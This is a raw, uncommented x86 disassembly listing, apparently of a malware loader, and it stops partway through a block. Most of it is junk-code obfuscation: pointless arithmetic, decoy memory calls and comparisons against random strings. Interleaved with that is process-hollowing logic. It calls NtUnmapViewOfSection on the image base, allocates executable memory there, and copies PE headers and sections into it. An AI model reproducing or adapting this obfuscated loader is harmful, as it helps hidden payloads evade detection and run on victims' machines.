call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov eax, dword [0x44122c]
add eax, 7
mov dword [esp + 0x644], eax
mov eax, dword [0x44122c]
add eax, 2
mov dword [esp + 0x640], eax
mov eax, dword [0x44122c]
add eax, 3
mov dword [esp + 0x63c], eax
mov eax, dword [0x44122c]
add eax, 1
mov dword [esp + 0x638], eax
mov eax, dword [0x44122c]
add eax, 5
mov dword [esp + 0x634], eax
mov eax, dword [0x44122c]
add eax, 8
mov dword [esp + 0x630], eax
mov eax, dword [0x44122c]
add eax, 8
mov dword [esp + 0x62c], eax
mov eax, dword [esp + 0x634]
imul eax, dword [esp + 0x640]
mov dword [esp + 0x634], eax
mov eax, dword [esp + 0x630]
cmp eax, dword [esp + 0x644]
jg 0x402f1c
mov eax, dword [esp + 0x62c]
add eax, dword [esp + 0x644]
mov dword [esp + 0x63c], eax
mov eax, dword [esp + 0x644]
cmp eax, dword [esp + 0x640]
jg 0x402f45
mov eax, dword [esp + 0x62c]
add eax, dword [esp + 0x640]
mov dword [esp + 0x640], eax
mov eax, dword [esp + 0x640]
cmp eax, dword [esp + 0x630]
jl 0x402f6e
mov eax, dword [esp + 0x640]
add eax, dword [esp + 0x62c]
mov dword [esp + 0x644], eax
mov eax, dword [esp + 0x63c]
cmp eax, dword [esp + 0x634]
jg 0x402f97
mov eax, dword [esp + 0x630]
add eax, dword [esp + 0x634]
mov dword [esp + 0x638], eax
mov eax, dword [0x44122c]
add eax, dword [esp + 0x644]
add eax, dword [esp + 0x640]
add eax, dword [esp + 0x63c]
add eax, dword [esp + 0x638]
add eax, dword [esp + 0x634]
add eax, dword [esp + 0x630]
add eax, dword [esp + 0x62c]
mov dword [0x44122c], eax
mov eax, dword [0x437932]
mov dword [esp + 0x624], eax
mov eax, dword [0x437936]
mov dword [esp + 0x628], eax
lea ecx, [esp + 0x624]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.bgyyceg
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x403021
mov eax, dword [0x44122c]
lea ecx, str.bgyyceg___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.epxsbyqakr]
mov dword [esp + 0x619], eax
mov eax, dword [0x437952]
mov dword [esp + 0x61d], eax
mov ax, word [0x437956]
mov word [esp + 0x621], ax
mov al, byte [0x437958]
mov byte [esp + 0x623], al
lea ecx, [esp + 0x619]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.sgnkhqwwt
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x40308a
mov eax, dword [0x44122c]
lea ecx, str.sgnkhqwwt___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.usmenhle]
mov dword [esp + 0x610], eax
mov eax, dword [0x437975]
mov dword [esp + 0x614], eax
mov al, byte [0x437979]
mov byte [esp + 0x618], al
lea ecx, [esp + 0x610]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.wwkerno
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x4030e5
mov eax, dword [0x44122c]
lea ecx, str.wwkerno___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.guuhy]
mov dword [esp + 0x60a], eax
mov ax, word [0x437992]
mov word [esp + 0x60e], ax
lea ecx, [esp + 0x60a]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.lcnbzuhsn
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x403136
mov eax, dword [0x44122c]
lea ecx, str.lcnbzuhsn___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.hrpbjdz]
mov dword [esp + 0x602], eax
mov eax, dword [0x4379b0]
mov dword [esp + 0x606], eax
lea ecx, [esp + 0x602]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.xkioa
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x403185
mov eax, dword [0x44122c]
lea ecx, str.xkioa___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
cmp dword [0x44122c], 0xffffffff
jg 0x4031a3
mov eax, dword [0x44122c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalSize]
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov dword [esp + 4], 5
call fcn.004017f0
mov dword [esp + 0x5fc], eax
mov eax, dword [esp + 0x690]
mov eax, dword [eax + 0x34]
mov dword [esp + 0x6e8], eax
mov dword [0x44122c], 0
cmp dword [0x44122c], 0xfffffffb
jg 0x40320f
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 3
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov eax, dword [0x44122c]
add eax, 4
mov dword [esp + 0x5f8], eax
mov eax, dword [0x44122c]
add eax, 9
mov dword [esp + 0x5f4], eax
mov eax, dword [0x44122c]
add eax, 7
mov dword [esp + 0x5f0], eax
mov eax, dword [0x44122c]
add eax, 3
mov dword [esp + 0x5ec], eax
mov eax, dword [0x44122c]
add eax, 8
mov dword [esp + 0x5e8], eax
mov eax, dword [0x44122c]
add eax, 6
mov dword [esp + 0x5e4], eax
mov eax, dword [0x44122c]
add eax, 8
mov dword [esp + 0x5e0], eax
mov eax, dword [esp + 0x5ec]
cmp eax, dword [esp + 0x5e8]
jl 0x4032a1
mov eax, dword [esp + 0x5e0]
add eax, dword [esp + 0x5e4]
mov dword [esp + 0x5e0], eax
mov eax, dword [esp + 0x5e0]
cmp eax, dword [esp + 0x5f8]
jg 0x4032ca
mov eax, dword [esp + 0x5e4]
add eax, dword [esp + 0x5e0]
mov dword [esp + 0x5f0], eax
mov eax, dword [esp + 0x5f8]
imul eax, dword [esp + 0x5e4]
mov dword [esp + 0x5ec], eax
mov eax, dword [esp + 0x5ec]
cmp eax, dword [esp + 0x5f4]
jl 0x403309
mov eax, dword [esp + 0x5f8]
add eax, dword [esp + 0x5f0]
mov dword [esp + 0x5f4], eax
mov eax, dword [esp + 0x5e8]
imul eax, dword [esp + 0x5f0]
mov dword [esp + 0x5e4], eax
mov eax, dword [esp + 0x5ec]
imul eax, dword [esp + 0x5f4]
mov dword [esp + 0x5f0], eax
mov eax, dword [esp + 0x5f0]
imul eax, dword [esp + 0x5ec]
mov dword [esp + 0x5f8], eax
mov eax, dword [esp + 0x5f0]
imul eax, dword [esp + 0x5f8]
mov dword [esp + 0x5e4], eax
mov eax, dword [esp + 0x5ec]
cmp eax, dword [esp + 0x5e4]
jg 0x40338a
mov eax, dword [esp + 0x5f4]
add eax, dword [esp + 0x5f0]
mov dword [esp + 0x5f4], eax
mov eax, dword [0x44122c]
add eax, dword [esp + 0x5f8]
add eax, dword [esp + 0x5f4]
add eax, dword [esp + 0x5f0]
add eax, dword [esp + 0x5ec]
add eax, dword [esp + 0x5e8]
add eax, dword [esp + 0x5e4]
add eax, dword [esp + 0x5e0]
mov dword [0x44122c], eax
mov eax, dword [str.zukegrozl]
mov dword [esp + 0x5d6], eax
mov eax, dword [0x4379c8]
mov dword [esp + 0x5da], eax
mov ax, word [0x4379cc]
mov word [esp + 0x5de], ax
lea ecx, [esp + 0x5d6]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.djexw
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x403422
mov eax, dword [0x44122c]
lea ecx, str.djexw___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
cmp dword [0x44122c], 0xfffffffc
jg 0x403440
mov eax, dword [0x44122c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalSize]
sub esp, 4
lea eax, str.ntdll.dll
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [esp + 0x5d0], eax
mov ecx, dword [esp + 0x5d0]
lea eax, str.NtUnmapViewOfSection
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov ecx, dword [esp + 0x690]
mov ecx, dword [ecx + 0x34]
mov edx, 0xffffffff
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
mov ecx, dword [esp + 0x6e8]
mov eax, dword [esp + 0x690]
mov eax, dword [eax + 0x50]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [esp + 0x6ec], eax
cmp dword [esp + 0x6ec], 0
jne 0x403550
cmp dword [esp + 0x5fc], 0
jne 0x4034f3
xor eax, eax
mov dword [esp], 0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [esp + 0x690]
mov eax, dword [eax + 0x50]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [esp + 0x6ec], eax
cmp dword [esp + 0x6ec], 0
jne 0x403546
xor eax, eax
mov dword [esp], 0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
jmp 0x40354b
jmp 0x403550
mov dword [0x44122c], 0
cmp dword [0x44122c], 0xfffffffb
jg 0x403591
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 2
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov eax, dword [0x44122c]
add eax, 4
mov dword [esp + 0x5cc], eax
mov eax, dword [0x44122c]
add eax, 2
mov dword [esp + 0x5c8], eax
mov eax, dword [0x44122c]
add eax, 7
mov dword [esp + 0x5c4], eax
mov eax, dword [0x44122c]
add eax, 1
mov dword [esp + 0x5c0], eax
mov eax, dword [0x44122c]
add eax, 9
mov dword [esp + 0x5bc], eax
mov eax, dword [0x44122c]
add eax, 4
mov dword [esp + 0x5b8], eax
mov eax, dword [0x44122c]
add eax, 7
mov dword [esp + 0x5b4], eax
mov eax, dword [esp + 0x5bc]
cmp eax, dword [esp + 0x5c0]
jl 0x403623
mov eax, dword [esp + 0x5c0]
add eax, dword [esp + 0x5c0]
mov dword [esp + 0x5c0], eax
mov eax, dword [esp + 0x5bc]
imul eax, dword [esp + 0x5b4]
mov dword [esp + 0x5b4], eax
mov eax, dword [esp + 0x5c0]
cmp eax, dword [esp + 0x5b4]
jg 0x403662
mov eax, dword [esp + 0x5c4]
add eax, dword [esp + 0x5c4]
mov dword [esp + 0x5c8], eax
mov eax, dword [esp + 0x5cc]
cmp eax, dword [esp + 0x5b8]
jg 0x40368b
mov eax, dword [esp + 0x5cc]
add eax, dword [esp + 0x5c8]
mov dword [esp + 0x5c0], eax
mov eax, dword [esp + 0x5c4]
cmp eax, dword [esp + 0x5c8]
jl 0x4036b4
mov eax, dword [esp + 0x5b4]
add eax, dword [esp + 0x5b4]
mov dword [esp + 0x5b8], eax
mov eax, dword [esp + 0x5c4]
cmp eax, dword [esp + 0x5bc]
jg 0x4036dd
mov eax, dword [esp + 0x5bc]
add eax, dword [esp + 0x5bc]
mov dword [esp + 0x5b8], eax
mov eax, dword [0x44122c]
add eax, dword [esp + 0x5cc]
add eax, dword [esp + 0x5c8]
add eax, dword [esp + 0x5c4]
add eax, dword [esp + 0x5c0]
add eax, dword [esp + 0x5bc]
add eax, dword [esp + 0x5b8]
add eax, dword [esp + 0x5b4]
mov dword [0x44122c], eax
mov eax, dword [str.syivoptg]
mov dword [esp + 0x5ab], eax
mov eax, dword [0x437a01]
mov dword [esp + 0x5af], eax
mov al, byte [0x437a05]
mov byte [esp + 0x5b3], al
lea ecx, [esp + 0x5ab]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.idepmyk
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x403773
mov eax, dword [0x44122c]
lea ecx, str.idepmyk___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x437a1a]
mov dword [esp + 0x5a2], eax
mov eax, dword [0x437a1e]
mov dword [esp + 0x5a6], eax
mov al, byte [0x437a22]
mov byte [esp + 0x5aa], al
lea ecx, [esp + 0x5a2]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.jbykuxfr
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x4037ce
mov eax, dword [0x44122c]
lea ecx, str.jbykuxfr___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x437a39]
mov dword [esp + 0x59a], eax
mov eax, dword [0x437a3d]
mov dword [esp + 0x59e], eax
lea ecx, [esp + 0x59a]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.fbmdiwl
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x40381d
mov eax, dword [0x44122c]
lea ecx, str.fbmdiwl___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
cmp dword [0x44122c], 0xfffffff6
jge 0x403841
mov eax, dword [0x44122c]
lea ecx, [0x43764c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x44122c]
add eax, 6
mov dword [esp + 0x5cc], eax
mov eax, dword [0x44122c]
add eax, 1
mov dword [esp + 0x5c8], eax
mov eax, dword [0x44122c]
add eax, 8
mov dword [esp + 0x5c4], eax
mov eax, dword [0x44122c]
add eax, 4
mov dword [esp + 0x5c0], eax
mov eax, dword [0x44122c]
add eax, 7
mov dword [esp + 0x5bc], eax
mov eax, dword [0x44122c]
add eax, 9
mov dword [esp + 0x5b8], eax
mov eax, dword [0x44122c]
add eax, 2
mov dword [esp + 0x5b4], eax
mov eax, dword [esp + 0x5c0]
cmp eax, dword [esp + 0x5c4]
jl 0x4038d3
mov eax, dword [esp + 0x5c0]
add eax, dword [esp + 0x5cc]
mov dword [esp + 0x5bc], eax
mov eax, dword [esp + 0x5b8]
imul eax, dword [esp + 0x5b4]
mov dword [esp + 0x5cc], eax
mov eax, dword [esp + 0x5c0]
imul eax, dword [esp + 0x5c4]
mov dword [esp + 0x5c8], eax
mov eax, dword [esp + 0x5bc]
cmp eax, dword [esp + 0x5b4]
jl 0x403928
mov eax, dword [esp + 0x5c8]
add eax, dword [esp + 0x5b8]
mov dword [esp + 0x5cc], eax
mov eax, dword [esp + 0x5b4]
imul eax, dword [esp + 0x5c8]
mov dword [esp + 0x5c8], eax
mov eax, dword [esp + 0x5b4]
imul eax, dword [esp + 0x5bc]
mov dword [esp + 0x5bc], eax
mov eax, dword [0x44122c]
add eax, dword [esp + 0x5cc]
add eax, dword [esp + 0x5c8]
add eax, dword [esp + 0x5c4]
add eax, dword [esp + 0x5c0]
add eax, dword [esp + 0x5bc]
add eax, dword [esp + 0x5b8]
add eax, dword [esp + 0x5b4]
mov dword [0x44122c], eax
mov eax, dword [0x437a55]
mov dword [esp + 0x592], eax
mov eax, dword [0x437a59]
mov dword [esp + 0x596], eax
lea ecx, [esp + 0x592]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.dyvucc
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x4039de
mov eax, dword [0x44122c]
lea ecx, str.dyvucc___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.wupnmfhn]
mov dword [esp + 0x589], eax
mov eax, dword [0x437a73]
mov dword [esp + 0x58d], eax
mov al, byte [0x437a77]
mov byte [esp + 0x591], al
lea ecx, [esp + 0x589]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.vwmljnyknd
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x403a39
mov eax, dword [0x44122c]
lea ecx, str.vwmljnyknd___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.epphcekp]
mov dword [esp + 0x580], eax
mov eax, dword [0x437a96]
mov dword [esp + 0x584], eax
mov al, byte [0x437a9a]
mov byte [esp + 0x588], al
lea ecx, [esp + 0x580]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.rrcyuevpka
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x403a94
mov eax, dword [0x44122c]
lea ecx, str.rrcyuevpka___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.upcblvko]
mov dword [esp + 0x577], eax
mov eax, dword [0x437ab9]
mov dword [esp + 0x57b], eax
mov al, byte [0x437abd]
mov byte [esp + 0x57f], al
lea ecx, [esp + 0x577]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.kssczpf
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x403aef
mov eax, dword [0x44122c]
lea ecx, str.kssczpf___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.lkpdjtv]
mov dword [esp + 0x56f], eax
mov eax, dword [0x437ad6]
mov dword [esp + 0x573], eax
lea ecx, [esp + 0x56f]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.paoxolv
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x403b3e
mov eax, dword [0x44122c]
lea ecx, str.paoxolv___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
cmp dword [0x44122c], 0xfffffffa
jg 0x403b5c
mov eax, dword [0x44122c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalSize]
sub esp, 4
mov ecx, dword [esp + 0x6ec]
mov eax, dword [esp + 0x690]
mov dword [eax + 0x34], ecx
mov edx, dword [esp + 0x6ec]
mov ecx, dword [ebp + 8]
mov eax, dword [esp + 0x690]
mov eax, dword [eax + 0x54]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov dword [0x44122c], 0
cmp dword [0x44122c], 0xfffffffc
jg 0x403bd2
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov eax, dword [0x44122c]
add eax, 5
mov dword [esp + 0x568], eax
mov eax, dword [0x44122c]
add eax, 9
mov dword [esp + 0x564], eax
mov eax, dword [0x44122c]
add eax, 9
mov dword [esp + 0x560], eax
mov eax, dword [0x44122c]
add eax, 0xa
mov dword [esp + 0x55c], eax
mov eax, dword [0x44122c]
add eax, 1
mov dword [esp + 0x558], eax
mov eax, dword [0x44122c]
add eax, 6
mov dword [esp + 0x554], eax
mov eax, dword [0x44122c]
add eax, 6
mov dword [esp + 0x550], eax
mov eax, dword [esp + 0x55c]
imul eax, dword [esp + 0x560]
mov dword [esp + 0x564], eax
mov eax, dword [esp + 0x564]
imul eax, dword [esp + 0x554]
mov dword [esp + 0x568], eax
mov eax, dword [esp + 0x55c]
imul eax, dword [esp + 0x558]
mov dword [esp + 0x55c], eax
mov eax, dword [esp + 0x55c]
cmp eax, dword [esp + 0x558]
jg 0x403ca6
mov eax, dword [esp + 0x568]
add eax, dword [esp + 0x560]
mov dword [esp + 0x560], eax
mov eax, dword [esp + 0x558]
cmp eax, dword [esp + 0x568]
jl 0x403ccf
mov eax, dword [esp + 0x554]
add eax, dword [esp + 0x550]
mov dword [esp + 0x564], eax
mov eax, dword [esp + 0x55c]
cmp eax, dword [esp + 0x560]
jl 0x403cf8
mov eax, dword [esp + 0x560]
add eax, dword [esp + 0x554]
mov dword [esp + 0x55c], eax
mov eax, dword [0x44122c]
add eax, dword [esp + 0x568]
add eax, dword [esp + 0x564]
add eax, dword [esp + 0x560]
add eax, dword [esp + 0x55c]
add eax, dword [esp + 0x558]
add eax, dword [esp + 0x554]
add eax, dword [esp + 0x550]
mov dword [0x44122c], eax
mov eax, dword [str.dufkz]
mov dword [esp + 0x54a], eax
mov ax, word [0x437af2]
mov word [esp + 0x54e], ax
lea ecx, [esp + 0x54a]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.smahb
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x403d84
mov eax, dword [0x44122c]
lea ecx, str.smahb___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.dpgpk]
mov dword [esp + 0x544], eax
mov ax, word [0x437b08]
mov word [esp + 0x548], ax
lea ecx, [esp + 0x544]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.hrpwg
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x403dd5
mov eax, dword [0x44122c]
lea ecx, str.hrpwg___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x437b1a]
mov dword [esp + 0x53e], eax
mov ax, word [0x437b1e]
mov word [esp + 0x542], ax
lea ecx, [esp + 0x53e]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.tfzhsckge
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x403e26
mov eax, dword [0x44122c]
lea ecx, str.tfzhsckge___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.iekvh]
mov dword [esp + 0x538], eax
mov ax, word [0x437b3c]
mov word [esp + 0x53c], ax
lea ecx, [esp + 0x538]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.fpsqggsgpk
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x403e77
mov eax, dword [0x44122c]
lea ecx, str.fpsqggsgpk___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
cmp dword [0x44122c], 0xfffffffb
jg 0x403eae
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 8
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov eax, dword [0x44122c]
add eax, 1
mov dword [esp + 0x568], eax
mov eax, dword [0x44122c]
add eax, 2
mov dword [esp + 0x564], eax
mov eax, dword [0x44122c]
add eax, 9
mov dword [esp + 0x560], eax
mov eax, dword [0x44122c]
add eax, 7
mov dword [esp + 0x55c], eax
mov eax, dword [0x44122c]
add eax, 9
mov dword [esp + 0x558], eax
mov eax, dword [0x44122c]
add eax, 4
mov dword [esp + 0x554], eax
mov eax, dword [0x44122c]
add eax, 6
mov dword [esp + 0x550], eax
mov eax, dword [esp + 0x560]
imul eax, dword [esp + 0x568]
mov dword [esp + 0x558], eax
mov eax, dword [esp + 0x554]
cmp eax, dword [esp + 0x564]
jl 0x403f56
mov eax, dword [esp + 0x568]
add eax, dword [esp + 0x568]
mov dword [esp + 0x560], eax
mov eax, dword [esp + 0x558]
imul eax, dword [esp + 0x560]
mov dword [esp + 0x558], eax
mov eax, dword [esp + 0x560]
imul eax, dword [esp + 0x564]
mov dword [esp + 0x55c], eax
mov eax, dword [esp + 0x55c]
cmp eax, dword [esp + 0x554]
jg 0x403fab
mov eax, dword [esp + 0x568]
add eax, dword [esp + 0x560]
mov dword [esp + 0x554], eax
mov eax, dword [esp + 0x55c]
cmp eax, dword [esp + 0x564]
jg 0x403fd4
mov eax, dword [esp + 0x564]
add eax, dword [esp + 0x55c]
mov dword [esp + 0x55c], eax
mov eax, dword [esp + 0x568]
cmp eax, dword [esp + 0x564]
jl 0x403ffd
mov eax, dword [esp + 0x560]
add eax, dword [esp + 0x558]
mov dword [esp + 0x564], eax
mov eax, dword [esp + 0x550]
cmp eax, dword [esp + 0x554]
jl 0x404026
mov eax, dword [esp + 0x55c]
add eax, dword [esp + 0x568]
mov dword [esp + 0x564], eax
mov eax, dword [esp + 0x554]
imul eax, dword [esp + 0x560]
mov dword [esp + 0x550], eax
mov eax, dword [0x44122c]
add eax, dword [esp + 0x568]
add eax, dword [esp + 0x564]
add eax, dword [esp + 0x560]
add eax, dword [esp + 0x55c]
add eax, dword [esp + 0x558]
add eax, dword [esp + 0x554]
add eax, dword [esp + 0x550]
mov dword [0x44122c], eax
mov eax, dword [str.jtcfu]
mov dword [esp + 0x532], eax
mov ax, word [0x437b5c]
mov word [esp + 0x536], ax
lea ecx, [esp + 0x532]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.spgjwztej
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x4040c8
mov eax, dword [0x44122c]
lea ecx, str.spgjwztej___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
cmp dword [0x44122c], 0xfffffffb
jg 0x4040e6
mov eax, dword [0x44122c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalSize]
sub esp, 4
mov eax, dword [esp + 0x690]
add eax, 0xf8
mov dword [esp + 0x52c], eax
mov dword [esp + 0x528], 0
mov eax, dword [esp + 0x528]
mov ecx, dword [esp + 0x690]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x40418a
mov edx, dword [esp + 0x6ec]
mov eax, dword [esp + 0x52c]
imul ecx, dword [esp + 0x528], 0x28
add eax, ecx
add edx, dword [eax + 0xc]
mov ecx, dword [ebp + 8]
mov eax, dword [esp + 0x52c]
imul esi, dword [esp + 0x528], 0x28
add eax, esi
add ecx, dword [eax + 0x14]
mov eax, dword [esp + 0x52c]
imul esi, dword [esp + 0x528], 0x28
add eax, esi
mov eax, dword [eax + 0x10]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov eax, dword [esp + 0x528]
add eax, 1
mov dword [esp + 0x528], eax
jmp 0x404104
mov dword [0x44122c], 0
cmp dword [0x44122c], 0xfffffff8
jg 0x4041cb
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 5
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov eax, dword [0x44122c]
add eax, 3
mov dword [esp + 0x524], eax
mov eax, dword [0x44122c]
add eax, 6
mov dword [esp + 0x520], eax
mov eax, dword [0x44122c]
add eax, 0xa
mov dword [esp + 0x51c], eax
mov eax, dword [0x44122c]
add eax, 4
mov dword [esp + 0x518], eax
mov eax, dword [0x44122c]
add eax, 5
mov dword [esp + 0x514], eax
mov eax, dword [0x44122c]
add eax, 2
mov dword [esp + 0x510], eax
mov eax, dword [0x44122c]
add eax, 0xa
mov dword [esp + 0x50c], eax
mov eax, dword [esp + 0x518]
imul eax, dword [esp + 0x520]
mov dword [esp + 0x50c], eax
mov eax, dword [esp + 0x51c]
cmp eax, dword [esp + 0x51c]
jl 0x404273
mov eax, dword [esp + 0x520]
add eax, dword [esp + 0x518]
mov dword [esp + 0x50c], eax
mov eax, dword [esp + 0x518]
cmp eax, dword [esp + 0x51c]
jg 0x40429c
mov eax, dword [esp + 0x514]
add eax, dword [esp + 0x51c]
mov dword [esp + 0x51c], eax
mov eax, dword [esp + 0x520]
cmp eax, dword [esp + 0x50c]
jl 0x4042c5
mov eax, dword [esp + 0x514]
add eax, dword [esp + 0x524]
mov dword [esp + 0x50c], eax
mov eax, dword [esp + 0x510]
imul eax, dword [esp + 0x520]
mov dword [esp + 0x514], eax
mov eax, dword [esp + 0x524]
imul eax, dword [esp + 0x518]
mov dword [esp + 0x524], eax
mov eax, dword [esp + 0x51c]
imul eax, dword [esp + 0x524]
mov dword [esp + 0x520], eax
mov eax, dword [0x44122c]
add eax, dword [esp + 0x524]
add eax, dword [esp + 0x520]
add eax, dword [esp + 0x51c]
add eax, dword [esp + 0x518]
add eax, dword [esp + 0x514]
add eax, dword [esp + 0x510]
add eax, dword [esp + 0x50c]
mov dword [0x44122c], eax
mov eax, dword [str.jhgpw]
mov dword [esp + 0x506], eax
mov ax, word [0x437b7a]
mov word [esp + 0x50a], ax
lea ecx, [esp + 0x506]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.elcvwbruak
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x404393
mov eax, dword [0x44122c]
lea ecx, str.elcvwbruak___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x437b96]
mov dword [esp + 0x500], eax
mov ax, word [0x437b9a]
mov word [esp + 0x504], ax
lea ecx, [esp + 0x500]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.tjqhjume
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x4043e4
mov eax, dword [0x44122c]
lea ecx, str.tjqhjume___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x437bb2]
mov dword [esp + 0x4fa], eax
mov ax, word [0x437bb6]
mov word [esp + 0x4fe], ax
lea ecx, [esp + 0x4fa]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.gqkuyfyer
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x404435
mov eax, dword [0x44122c]
lea ecx, str.gqkuyfyer___d
